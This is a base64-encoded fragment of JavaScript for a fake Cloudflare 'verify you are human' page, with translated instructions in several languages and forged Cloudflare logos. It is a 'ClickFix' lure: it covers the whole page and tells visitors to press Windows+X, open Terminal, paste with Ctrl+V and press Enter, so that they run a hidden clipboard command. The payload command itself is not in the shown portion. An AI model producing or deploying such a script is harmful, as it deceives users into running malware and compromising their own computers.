0dSBjb25leGlcdTAwZjNuLicsd2luZG93c0tleUhlbHA6J0VzdGEgZXMgbGEgdGVjbGEgZGUgV2luZG93cywgZW4gbGEgcGFydGUgaW5mZXJpb3IgZGVsIHRlY2xhZG8gZW50cmUgQ3RybCB5IEFsdCwgYmFqbyBsYSB0ZWNsYSBaJ30saXQ6e25vdFJvYm90VGV4dDonTm9uIHNvbm8gdW4gcm9ib3QnLHZlcmlmeWluZ1RleHQ6J1ZlcmlmaWNhXHUyMDI2Jyx2ZXJpZmljYXRpb25UaXRsZTonVmVyaWZpY2EgdW1hbmEnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidDb21wbGV0YSBpIHBhc3NhZ2dpIHNlZ3VlbnRpJyxrZXlib2FyZEluc3RydWN0aW9uczonRXNlZ3VpIGkgcGFzc2FnZ2kgc3VsbGEgdHVhIHRhc3RpZXJhJyx0aW1lUmVtYWluaW5nOidUZW1wbyByaW1hbmVudGUnLHdhcm5pbmczMFNlY29uZHM6J01lbm8gZGkgMzAgc2Vjb25kaSEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDonbyBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkludmlvIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidQcml2YWN5Jyx0ZXJtc0xpbms6J1Rlcm1pbmknLHNlY3VyaXR5TWVzc2FnZTonZGV2ZSB2ZXJpZmljYXJlIGxhIHNpY3VyZXp6YSBkZWxsYSBjb25uZXNzaW9uZS4nLHdpbmRvd3NLZXlIZWxwOidRdWVzdG8gXHUwMGU4IGlsIHRhc3RvIFdpbmRvd3MsIGluIGJhc3NvIHN1bGxhIHRhc3RpZXJhIHRyYSBDdHJsIGUgQWx0LCBzb3R0byBpbCB0YXN0byBaJ30scHQ6e25vdFJvYm90VGV4dDonTlx1MDBlM28gc291IHVtIHJvYlx1MDBmNCcsdmVyaWZ5aW5nVGV4dDonVmVyaWZpY2FuZG9cdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidWZXJpZmljYVx1MDBlN1x1MDBlM28gaHVtYW5hJyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonQ29uY2x1YSBhcyBldGFwYXMgYWJhaXhvJyxrZXlib2FyZEluc3RydWN0aW9uczonRXhlY3V0ZSBhcyBldGFwYXMgbm8gc2V1IHRlY2xhZG8nLHRpbWVSZW1haW5pbmc6J1RlbXBvIHJlc3RhbnRlJyx3YXJuaW5nMzBTZWNvbmRzOidNZW5vcyBkZSAzMCBzZWd1bmRvcyEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDonb3UgVGVybWluYWwnLHN0ZXAzOic8Yj5DdHJsICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+Jyxwcml2YWN5TGluazonUHJpdmFjaWRhZGUnLHRlcm1zTGluazonVGVybW9zJyxzZWN1cml0eU1lc3NhZ2U6J3ByZWNpc2EgdmVyaWZpY2FyIGEgc2VndXJhblx1MDBlN2EgZGEgY29uZXhcdTAwZTNvLicsd2luZG93c0tleUhlbHA6J0VzdGEgXHUwMGU5IGEgdGVjbGEgV2luZG93cywgbmEgcGFydGUgaW5mZXJpb3IgZG8gdGVjbGFkbyBlbnRyZSBDdHJsIGUgQWx0LCBhYmFpeG8gZGEgdGVjbGEgWid9LHpoOntub3RSb2JvdFRleHQ6J1x1NjIxMVx1NGUwZFx1NjYyZlx1NjczYVx1NTY2OFx1NGViYScsdmVyaWZ5aW5nVGV4dDonXHU2YjYzXHU1NzI4XHU2OGMwXHU2N2U1XHUyMDI2Jyx2ZXJpZmljYXRpb25UaXRsZTonXHU0ZWJhXHU1ZGU1XHU5YThjXHU4YmMxJyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonXHU4YmY3XHU1YjhjXHU2MjEwXHU0ZWU1XHU0ZTBiXHU2YjY1XHU5YWE0JyxrZXlib2FyZEluc3RydWN0aW9uczonXHU4YmY3XHU1NzI4XHU5NTJlXHU3NmQ4XHU0ZTBhXHU2MjY3XHU4ODRjXHU0ZWU1XHU0ZTBiXHU2YjY1XHU5YWE0Jyx0aW1lUmVtYWluaW5nOidcdTUyNjlcdTRmNTlcdTY1ZjZcdTk1ZjQnLHdhcm5pbmczMFNlY29uZHM6J1x1NTI2OVx1NGY1OVx1NGUwZFx1OGRiMzMwXHU3OWQyXHVmZjAxJyxzdGVwMTonPGI+JytXSU5ET1dTX0xPR09fU1ZHKycgKyBYPC9iPicsc3RlcDI6JzxiPkk8L2I+JyxzdGVwMkNoaXA6J1x1OTAwOVx1NjJlOSBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidcdTk2OTBcdTc5YzEnLHRlcm1zTGluazonXHU2NzYxXHU2YjNlJyxzZWN1cml0eU1lc3NhZ2U6J1x1OTcwMFx1ODk4MVx1NjhjMFx1NjdlNVx1NjBhOFx1NzY4NFx1OGZkZVx1NjNhNVx1NWI4OVx1NTE2OFx1NjAyN1x1MzAwMicsd2luZG93c0tleUhlbHA6J1x1OGZkOVx1NjYyZiBXaW5kb3dzIFx1OTUyZVx1ZmYwY1x1NGY0ZFx1NGU4ZVx1OTUyZVx1NzZkOFx1NWU5NVx1OTBlOCBDdHJsIFx1NTQ4YyBBbHQgXHU0ZTRiXHU5NWY0XHVmZjBjWiBcdTk1MmVcdTRlMGJcdTY1YjknfSxqYTp7bm90Um9ib3RUZXh0OidcdTc5YzFcdTMwNmZcdTMwZWRcdTMwZGNcdTMwYzNcdTMwYzhcdTMwNjdcdTMwNmZcdTMwNDJcdTMwOGFcdTMwN2VcdTMwNWJcdTMwOTMnLHZlcmlmeWluZ1RleHQ6J1x1NzhiYVx1OGE4ZFx1NGUyZFx1MjAyNicsdmVyaWZpY2F0aW9uVGl0bGU6J1x1NGViYVx1OTU5M1x1NzhiYVx1OGE4ZCcsdmVyaWZpY2F0aW9uU3VidGl0bGU6J1x1NGVlNVx1NGUwYlx1MzA2ZVx1NjI0Ylx1OTgwNlx1MzA5Mlx1NWI4Y1x1NGU4Nlx1MzA1N1x1MzA2Nlx1MzA0Zlx1MzA2MFx1MzA1NVx1MzA0NCcsa2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1MzBhZFx1MzBmY1x1MzBkY1x1MzBmY1x1MzBjOVx1MzA2N1x1NjI0Ylx1OTgwNlx1MzA5Mlx1NWI5Zlx1ODg0Y1x1MzA1N1x1MzA2Nlx1MzA0Zlx1MzA2MFx1MzA1NVx1MzA0NCcsdGltZVJlbWFpbmluZzonXHU2YjhiXHUzMDhhXHU2NjQyXHU5NTkzJyx3YXJuaW5nMzBTZWNvbmRzOidcdTZiOGJcdTMwOGEzMFx1NzlkMlx1NjcyYVx1NmU4MFx1ZmYwMScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidcdTMwN2VcdTMwNWZcdTMwNmYgVGVybWluYWwnLHN0ZXAzOic8Yj5DdHJsICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+Jyxwcml2YWN5TGluazonXHUzMGQ3XHUzMGU5XHUzMGE0XHUzMGQwXHUzMGI3XHUzMGZjJyx0ZXJtc0xpbms6J1x1ODk4Zlx1N2QwNCcsc2VjdXJpdHlNZXNzYWdlOidcdTYzYTVcdTdkOWFcdTMwNmVcdTViODlcdTUxNjhcdTYwMjdcdTMwOTJcdTc4YmFcdThhOGRcdTMwNTlcdTMwOGJcdTVmYzVcdTg5ODFcdTMwNGNcdTMwNDJcdTMwOGFcdTMwN2VcdTMwNTlcdTMwMDInLHdpbmRvd3NLZXlIZWxwOidcdTMwNTNcdTMwOGNcdTMwNmYgV2luZG93cyBcdTMwYWRcdTMwZmNcdTMwNjdcdTMwNTlcdTMwMDJcdTMwYWRcdTMwZmNcdTMwZGNcdTMwZmNcdTMwYzlcdTRlMGJcdTkwZThcdTMwNmUgQ3RybCBcdTMwNjggQWx0IFx1MzA2ZVx1OTU5M1x1MzAwMVogXHUzMGFkXHUzMGZjXHUzMDZlXHU0ZTBiXHUzMDZiXHUzMDQyXHUzMDhhXHUzMDdlXHUzMDU5J30sa286e25vdFJvYm90VGV4dDonXHViMDk4XHViMjk0IFx1Yjg1Y1x1YmQwN1x1Yzc3NCBcdWM1NDRcdWIyZDlcdWIyYzhcdWIyZTQnLHZlcmlmeWluZ1RleHQ6J1x1ZDY1NVx1Yzc3OCBcdWM5MTFcdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidcdWMwYWNcdWI3OGMgXHVkNjU1XHVjNzc4Jyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonXHVjNTQ0XHViNzk4IFx1YjJlOFx1YWNjNFx1Yjk3YyBcdWM2NDRcdWI4Y2NcdWQ1NThcdWMxMzhcdWM2OTQnLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidcdWQwYTRcdWJjZjRcdWI0ZGNcdWI4NWMgXHViMmU4XHVhY2M0XHViOTdjIFx1YzIxOFx1ZDU4OVx1ZDU1OFx1YzEzOFx1YzY5NCcsdGltZVJlbWFpbmluZzonXHViMGE4XHVjNzQwIFx1YzJkY1x1YWMwNCcsd2FybmluZzMwU2Vjb25kczonMzBcdWNkMDggXHViYmY4XHViOWNjIFx1YjBhOFx1Yzc0YyEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDonXHViNjEwXHViMjk0IFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J1x1YWMxY1x1Yzc3OFx1YzgxNVx1YmNmNCcsdGVybXNMaW5rOidcdWM1N2RcdWFkMDAnLHNlY3VyaXR5TWVzc2FnZTonXHVjNWYwXHVhY2IwIFx1YmNmNFx1YzU0OFx1Yzc0NCBcdWQ2NTVcdWM3NzhcdWQ1NzRcdWM1N2MgXHVkNTY5XHViMmM4XHViMmU0Licsd2luZG93c0tleUhlbHA6J1x1Yzc3NFx1YWM4M1x1Yzc0MCBXaW5kb3dzIFx1ZDBhNFx1Yzc4NVx1YjJjOFx1YjJlNC4gXHVkMGE0XHViY2Y0XHViNGRjIFx1ZDU1OFx1YjJlOFx1Yzc1OCBDdHJsXHVhY2ZjIEFsdCBcdWMwYWNcdWM3NzQsIFogXHVkMGE0IFx1YzU0NFx1Yjc5OFx1YzVkMCBcdWM3ODhcdWMyYjVcdWIyYzhcdWIyZTQnfSx0cjp7bm90Um9ib3RUZXh0OidCZW4gcm9ib3QgZGVcdTAxMWZpbGltJyx2ZXJpZnlpbmdUZXh0OidLb250cm9sIGVkaWxpeW9yXHUyMDI2Jyx2ZXJpZmljYXRpb25UaXRsZTonXHUwMTMwbnNhbiBkb1x1MDExZnJ1bGFtYXNcdTAxMzEnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidBXHUwMTVmYVx1MDExZlx1MDEzMWRha2kgYWRcdTAxMzFtbGFyXHUwMTMxIHRhbWFtbGF5XHUwMTMxbicsa2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0FkXHUwMTMxbWxhclx1MDEzMSBrbGF2eWVuaXpkZSBnZXJcdTAwZTdla2xlXHUwMTVmdGlyaW4nLHRpbWVSZW1haW5pbmc6J0thbGFuIHNcdTAwZmNyZScsd2FybmluZzMwU2Vjb25kczonMzAgc2FuaXllZGVuIGF6IGthbGRcdTAxMzEhJyxzdGVwMTonPGI+JytXSU5ET1dTX0xPR09fU1ZHKycgKyBYPC9iPicsc3RlcDI6JzxiPkk8L2I+JyxzdGVwMkNoaXA6J3ZleWEgVGVybWluYWwnLHN0ZXAzOic8Yj5DdHJsICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+Jyxwcml2YWN5TGluazonR2l6bGlsaWsnLHRlcm1zTGluazonXHUwMTVlYXJ0bGFyJyxzZWN1cml0eU1lc3NhZ2U6J2JhXHUwMTFmbGFudFx1MDEzMW5cdTAxMzF6XHUwMTMxbiBnXHUwMGZjdmVubGlcdTAxMWZpbmkga29udHJvbCBldG1lc2kgZ2VyZWtpeW9yLicsd2luZG93c0tleUhlbHA6J0J1IFdpbmRvd3MgdHVcdTAxNWZ1ZHVyLCBrbGF2eWVuaXppbiBhbHQga1x1MDEzMXNtXHUwMTMxbmRhIEN0cmwgdmUgQWx0IGFyYXNcdTAxMzFuZGEsIFogdHVcdTAxNWZ1bnVuIGFsdFx1MDEzMW5kYSBidWx1bnVyJ30sYXI6e25vdFJvYm90VGV4dDonXHUwNjQ0XHUwNjMzXHUwNjJhIFx1MDYyOFx1MDYzMVx1MDY0Nlx1MDYyN1x1MDY0NVx1MDYyYyBcdTA2MzFcdTA2NDhcdTA2MjhcdTA2NDhcdTA2MmEnLHZlcmlmeWluZ1RleHQ6J1x1MDYyY1x1MDYyN1x1MDYzMVx1MDY0ZCBcdTA2MjdcdTA2NDRcdTA2MmFcdTA2MmRcdTA2NDJcdTA2NDJcdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidcdTA2MjdcdTA2NDRcdTA2MmFcdTA2MmRcdTA2NDJcdTA2NDIgXHUwNjI3XHUwNjQ0XHUwNjI4XHUwNjM0XHUwNjMxXHUwNjRhJyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonXHUwNjIzXHUwNjQzXHUwNjQ1XHUwNjQ0IFx1MDYyN1x1MDY0NFx1MDYyZVx1MDYzN1x1MDY0OFx1MDYyN1x1MDYyYSBcdTA2MjNcdTA2MmZcdTA2NDZcdTA2MjdcdTA2NDcnLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidcdTA2NDZcdTA2NDFcdTA2NTFcdTA2MzAgXHUwNjI3XHUwNjQ0XHUwNjJlXHUwNjM3XHUwNjQ4XHUwNjI3XHUwNjJhIFx1MDYzOVx1MDY0NFx1MDY0OSBcdTA2NDRcdTA2NDhcdTA2MmRcdTA2MjkgXHUwNjI3XHUwNjQ0XHUwNjQ1XHUwNjQxXHUwNjI3XHUwNjJhXHUwNjRhXHUwNjJkJyx0aW1lUmVtYWluaW5nOidcdTA2MjdcdTA2NDRcdTA2NDhcdTA2NDJcdTA2MmEgXHUwNjI3XHUwNjQ0XHUwNjQ1XHUwNjJhXHUwNjI4XHUwNjQyXHUwNjRhJyx3YXJuaW5nMzBTZWNvbmRzOidcdTA2MjNcdTA2NDJcdTA2NDQgXHUwNjQ1XHUwNjQ2IDMwIFx1MDYyYlx1MDYyN1x1MDY0Nlx1MDY0YVx1MDYyOSEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDonXHUwNjIzXHUwNjQ4IFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J1x1MDYyN1x1MDY0NFx1MDYyZVx1MDYzNVx1MDY0OFx1MDYzNVx1MDY0YVx1MDYyOScsdGVybXNMaW5rOidcdTA2MjdcdTA2NDRcdTA2MzRcdTA2MzFcdTA2NDhcdTA2MzcnLHNlY3VyaXR5TWVzc2FnZTonXHUwNjRhXHUwNjJkXHUwNjJhXHUwNjI3XHUwNjJjIFx1MDYyNVx1MDY0NFx1MDY0OSBcdTA2NDVcdTA2MzFcdTA2MjdcdTA2MmNcdTA2MzlcdTA2MjkgXHUwNjIzXHUwNjQ1XHUwNjI3XHUwNjQ2IFx1MDYyN1x1MDYyYVx1MDYzNVx1MDYyN1x1MDY0NFx1MDY0My4nLHdpbmRvd3NLZXlIZWxwOidcdTA2NDdcdTA2MzBcdTA2MjcgXHUwNjQ3XHUwNjQ4IFx1MDY0NVx1MDY0MVx1MDYyYVx1MDYyN1x1MDYyZCBXaW5kb3dzXHUwNjBjIFx1MDY0MVx1MDY0YSBcdTA2MjNcdTA2MzNcdTA2NDFcdTA2NDQgXHUwNjQ0XHUwNjQ4XHUwNjJkXHUwNjI5IFx1MDYyN1x1MDY0NFx1MDY0NVx1MDY0MVx1MDYyN1x1MDYyYVx1MDY0YVx1MDYyZCBcdTA2MjhcdTA2NGFcdTA2NDYgQ3RybCBcdTA2NDggQWx0XHUwNjBjIFx1MDYyYVx1MDYyZFx1MDYyYSBcdTA2NDVcdTA2NDFcdTA2MmFcdTA2MjdcdTA2MmQgWid9fTsNCg0KICAgICAgICAgICAgdmFyIGxhbmdDb2RlID0gZ2V0QnJvd3Nlckxhbmd1YWdlQ29kZSgpOw0KICAgICAgICAgICAgaWYgKHRyYW5zbGF0aW9uc1tsYW5nQ29kZV0pIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJhbnNsYXRpb25zW2xhbmdDb2RlXTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgcmV0dXJuIHRyYW5zbGF0aW9ucy5lbjsNCiAgICAgICAgfQ0KDQogICAgICAgIHZhciBVSV9UUkFOU0xBVElPTlMgPSBtZXJnZU9zSW5zdHJ1Y3Rpb25TdGVwcyhnZXRUcmFuc2xhdGVkU3RyaW5ncygpLCBnZXRCcm93c2VyTGFuZ3VhZ2VDb2RlKCkpOw0KICAgICAgICB2YXIgU1RFUDJfSFRNTCA9IGJ1aWxkU3RlcDJIdG1sKFVJX1RSQU5TTEFUSU9OUyk7DQoNCiAgICAgICAgdmFyIENMT1VERkxBUkVfTE9HT19TVkcgPSAnPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxODAgNTAiPjxwYXRoIGZpbGw9IiNGQkFENDEiIGQ9Ik0zOC41IDMyLjJjLjEtLjQuMS0uOC4xLTEuMiAwLTQuMS0zLjMtNy40LTcuNC03LjQtMS4yIDAtMi40LjMtMy40LjgtLjktMi41LTMuMy00LjItNi4xLTQuMi0zLjYgMC02LjUgMi45LTYuNSA2LjUgMCAuNi4xIDEuMy4zIDEuOUMxMy40IDI5LjIgMTIgMzAuOCAxMiAzMi44YzAgLjUuMSAxIC4zIDEuNGgyNmMuNC0uOC4zLTEuNS4yLTJ6Ii8+PHBhdGggZmlsbD0iI0Y2ODIxRiIgZD0iTTM2LjggMzQuMkgxM2MtLjUgMC0uOS0uMy0xLS44bC0uNS0xLjljLS4xLjQtLjEuOC0uMSAxLjIgMCAxLjIgMSAyLjIgMi4yIDIuMmguOWMuMyAxLjYgMS44IDIuOCAzLjYgMi44SDMyYzIgMCAzLjYtMS4zIDQuMS0zLjFsLjUtMS44Yy4yLS40LS4zLS42LS44LS42LjEgMCAuMi4xLjIuMmwuOCAxLjh6Ii8+PHRleHQgeD0iNDgiIHk9IjM1IiBmb250LWZhbWlseT0iQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWYiIGZvbnQtc2l6ZT0iMTgiIGZvbnQtd2VpZ2h0PSI3MDAiIGZpbGw9IiNGNjgyMUYiPmNsb3VkZmxhcmU8L3RleHQ+PC9zdmc+JzsNCg0KICAgICAgICB2YXIgQ0xPVURGTEFSRV9MT0dPX0JBU0U2NCA9ICdkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LCcgKyBidG9hKENMT1VERkxBUkVfTE9HT19TVkcpOw0KDQogICAgICAgIHZhciBJU19MSUdIVF9NT0RFID0gISEod2luZG93Lm1hdGNoTWVkaWEgJiYgd2luZG93Lm1hdGNoTWVkaWEoJyhwcmVmZXJzLWNvbG9yLXNjaGVtZTpsaWdodCknKS5tYXRjaGVzKTsNCg0KICAgICAgICB2YXIgQ0xPVURGTEFSRV9GVUxMX0xPR09fU1ZHID0gJzxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMTAxLjQgMzMuNSI+PGRlZnM+PHN0eWxlPi5he2ZpbGw6I2ZmZn0uYntmaWxsOiNmNDgxMjB9LmN7ZmlsbDojZmFhZDNmfS5ke2ZpbGw6JyArIChJU19MSUdIVF9NT0RFID8gJyM0MDQwNDEnIDogJyNmZmYnKSArICd9PC9zdHlsZT48L2RlZnM+PHBhdGggY2xhc3M9ImEiIGQ9Ik05NC43LDEwLjYsODkuMSw5LjNsLTEtLjQtMjUuNy4yVjIxLjVsMzIuMy4xWiIvPjxwYXRoIGNsYXNzPSJiIiBkPSJNODQuMiwyMC40YTIuODU1NDYsMi44NTU0NiwwLDAsMC0uMy0yLjYsMy4wOTQyOCwzLjA5NDI4LDAsMCwwLTIuMS0xLjFsLTE3LjQtLjJjLS4xLDAtLjItLjEtLjMtLjFhLjE4NzUuMTg3NSwwLDAsMSwwLS4zYy4xLS4yLjItLjMuNC0uM0w4MiwxNS42YTYuMjkyMjMsNi4yOTIyMywwLDAsMCw1LjEtMy44bDEtMi42YzAtLjEuMS0uMiwwLS4zQTExLjM5NjQ2LDExLjM5NjQ2LDAsMCwwLDY2LjIsNy43YTUuNDU5NDEsNS40NTk0MSwwLDAsMC0zLjYtMUE1LjIwOTM2LDUuMjA5MzYsMCwwLDAsNTgsMTEuM2E1LjQ2MjYyLDUuNDYyNjIsMCwwLDAsLjEsMS44QTcuMzAxNzcsNy4zMDE3NywwLDAsMCw1MSwyMC40YTQuMTAyLDQuMTAyLDAsMCwwLC4xLDEuMS4zMTkzLjMxOTMsMCwwLDAsLjMuM0g4My41Yy4yLDAsLjQtLjEuNC0uM1oiLz48cGF0aCBjbGFzcz0iYyIgZD0iTTg5LjcsOS4yaC0uNWMtLjEsMC0uMi4xLS4zLjJsLS43LDIuNGEyLjg1NTQ2LDIuODU1NDYsMCwwLDAsLjMsMi42LDMuMDk0MjgsMy4wOTQyOCwwLDAsMCwyLjEsMS4xbDMuNy4yYy4xLDAsLjIuMS4zLjFhLjE4NzUuMTg3NSwwLDAsMSwwLC4zYy0uMS4yLS4yLjMtLjQuM2wtMy44LjJhNi4yOTIyMyw2LjI5MjIzLDAsMCwwLTUuMSwzLjhsLS4yLjljLS4xLjEsMCwuMy4yLjNIOTguNWEuMjY1MTcuMjY1MTcsMCwwLDAsLjMtLjMsMTAuODcxODQsMTAuODcxODQsMCwwLDAsLjQtMi42LDkuNTYwNDUsOS41NjA0NSwwLDAsMC05LjUtOS41Ii8+PHBhdGggY2xhc3M9ImQiIGQ9Ik0xMDAuNSwyNy4yYS45LjksMCwxLDEsLjktLjkuODk2MjYuODk2MjYsMCwwLDEtLjkuOW0wLTEuNmEuNy43LDAsMSwwLC43LjcuNjgzNTQuNjgzNTQsMCwwLDAtLjctLjdtLjQsMS4yaC0uMmwtLjItLjNoLS4ydi4zaC0uMnYtLjloLjVhLjI2NTE3LjI2NTE3LDAsMCwxLC4zLjNjMCwuMS0uMS4yLS4yLjNsLjIuM1ptLS4zLS41Yy4xLDAsLjEsMCwuMS0uMWEuMDk3OTQuMDk3OTQsMCwwLDAtLjEtLjFoLS4zdi4zaC4zWm0tODkuNy0uOWgyLjJ2NmgzLjh2MS45aC02Wm04LjMsMy45YTQuMTA0OTEsNC4xMDQ5MSwwLDAsMSw0LjMtNC4xLDQuMDIsNC4wMiwwLDAsMSw0LjIsNC4xLDQuMTA0OTEsNC4xMDQ5MSwwLDAsMS00LjMsNC4xLDQuMDc4ODgsNC4wNzg4OCwwLDAsMS00LjItNC4xbTYuMywwYTIuMDU1NjUsMi4wNTU2NSwwLDAsMC0yLTIuMiwyLjEwMjUsMi4xMDI1LDAsMCwwLDAsNC4yYzEuMi4yLDItLjgsMi0ybTQuOS41VjI1LjRoMi4ydjQuNGMwLDEuMS42LDEuNywxLjUsMS43YTEuMzk5MjYsMS4zOTkyNiwwLDAsMCwxLjUtMS42VjI1LjRoMi4ydjQuNGMwLDIuNi0xLjUsMy43LTMuNywzLjctMi4zLS4xLTMuNy0xLjItMy43LTMuN20xMC43LTQuNGgzLjFjMi44LDAsNC41LDEuNiw0LjUsMy45cy0xLjcsNC00LjUsNGgtM1YyNS40Wm0zLjEsNS45YTIuMDA5MDksMi4wMDkwOSwwLDEsMCwwLTRoLS45djRabTcuNi01LjloNi4zdjEuOUg1NHYxLjNoMy43djEuOEg1NHYyLjlINTEuOFptOS40LDBoMi4ydjZoMy44djEuOWgtNlptMTEuNy0uMWgyLjJsMy40LDhINzYuMWwtLjYtMS40SDcyLjRsLS42LDEuNEg2OS41Wm0yLDQuOUw3NCwyOGwtLjksMi4yWm02LjQtNC44SDg1YTMuNDE4MTgsMy40MTgxOCwwLDAsMSwyLjYuOSwyLjYyMzczLDIuNjIzNzMsMCwwLDEtLjksNC4ybDEuOSwyLjhIODYuMWwtMS42LTIuNGgtMXYyLjRIODEuM1ptMy42LDMuOGMuNywwLDEuMi0uNCwxLjItLjksMC0uNi0uNS0uOS0xLjItLjlIODMuNXYxLjloMS40Wm02LjUtMy44aDYuNHYxLjhIOTMuNnYxLjJoMy44djEuOEg5My42djEuMmg0LjN2MS45SDkxLjRaTTYuMSwzMC4zYTEuOTc1NDgsMS45NzU0OCwwLDAsMS0xLjgsMS4yLDIuMTAyNSwyLjEwMjUsMCwwLDEsMC00LjIsMi4wOTc3LDIuMDk3NywwLDAsMSwxLjksMS4zSDguNWE0LjEzNDU5LDQuMTM0NTksMCwwLDAtNC4yLTMuM0E0LjE2NTEsNC4xNjUxLDAsMCwwLDAsMjkuNGE0LjA3ODg4LDQuMDc4ODgsMCwwLDAsNC4yLDQuMSw0LjMxODEyLDQuMzE4MTIsMCwwLDAsNC4yLTMuMloiLz48L3N2Zz4nOw0KDQogICAgICAgIHZhciBDTE9VREZMQVJFX0ZVTExfTE9HT19CQVNFNjQgPSAnZGF0YTppbWFnZS9zdmcreG1sO2Jhc2U2NCwnICsgYnRvYShDTE9VREZMQVJFX0ZVTExfTE9HT19TVkcpOw0KICAgICAgICB2YXIgQ0xPVURGTEFSRV9XSElURV9MT0dPX0JBU0U2NCA9ICdkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LCcgKyBidG9hKA0KICAgICAgICAgICAgQ0xPVURGTEFSRV9GVUxMX0xPR09fU1ZHLnJlcGxhY2UoJy5ke2ZpbGw6JyArIChJU19MSUdIVF9NT0RFID8gJyM0MDQwNDEnIDogJyNmZmYnKSArICd9JywgJy5ke2ZpbGw6I2ZmZn0nKQ0KICAgICAgICApOw0KDQogICAgICAgIHZhciBESVNQTEFZX0hPU1ROQU1FID0gQ1VTVE9NX0RPTUFJTiB8fCAod2luZG93LmxvY2F0aW9uICYmIHdpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZSkgfHwgJ2Nsb3VkZmxhcmUuY29tJzsNCiAgICAgICAgdmFyIFJBWV9UUkFDS0lOR19JRCA9ICdkOGZjMjZmYjNjOGFlNDlhJzsNCg0KICAgICAgICB2YXIgc3R5bGVFbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsNCiAgICAgICAgc3R5bGVFbGVtZW50LmlkID0gJ2J3LWNmLXN0eWxlJzsNCg0KICAgICAgICBzdHlsZUVsZW1lbnQudGV4dENvbnRlbnQgPSAnI2J3LWNmLXJvb3R7cG9zaXRpb246Zml4ZWQgIWltcG9ydGFudDt0b3A6MCAhaW1wb3J0YW50O2xlZnQ6MCAhaW1wb3J0YW50O3JpZ2h0OjAgIWltcG9ydGFudDtib3R0b206MCAhaW1wb3J0YW50O3dpZHRoOjEwMHZ3ICFpbXBvcnRhbnQ7aGVpZ2h0OjEwMHZoICFpbXBvcnRhbnQ7bWluLXdpZHRoOjEwMHZ3ICFpbXBvcnRhbnQ7bWluLWhlaWdodDoxMDB2aCAhaW1wb3J0YW50O21heC13aWR0aDpub25lICFpbXBvcnRhbnQ7bWF4LWhlaWdodDpub25lICFpbXBvcnRhbnQ7bWFyZ2luOjAgIWltcG9ydGFudDtwYWRkaW5nOjAgIWltcG9ydGFudDtib3gtc2l6aW5nOmJvcmRlci1ib3ggIWltcG9ydGFudDt0cmFuc2Zvcm06bm9uZSAhaW1wb3J0YW50O3otaW5kZXg6MjE0NzQ4MzY0NyAhaW1wb3J0YW50O2JhY2tncm91bmQ6IzIyMjtjb2xvcjojZDlkOWQ5O292ZXJmbG93OmF1dG87Zm9udC1mYW1pbHk6c3lzdGVtLXVpLC1hcHBsZS1zeXN0ZW0sIlNlZ29lIFVJIixSb2JvdG8sQXJpYWwsc2Fucy1zZXJpZiAhaW1wb3J0YW50O2RpcmVjdGlvbjpsdHIgIWltcG9ydGFudDtmb250LXNpemU6MTZweCAhaW1wb3J0YW50O2xpbmUtaGVpZ2h0OjEuNTt0ZXh0LWFsaWduOmxlZnQgIWltcG9ydGFudDt1bmljb2RlLWJpZGk6aXNvbGF0ZSAhaW1wb3J0YW50O30nKycjYnctY2Ytcm9vdCAqe2JveC1zaXppbmc6Ym9yZGVyLWJveCAhaW1wb3J0YW50O21hcmdpbjowO3BhZGRpbmc6MDt9JysnI2J3LWNmLXJvb3QgLm1haW4tY29udGVudHttYXJnaW46OGVtIGF1dG87cGFkZGluZzowIDEuNWVtO21heC13aWR0aDo2MGVtO3dpZHRoOjEwMCU7f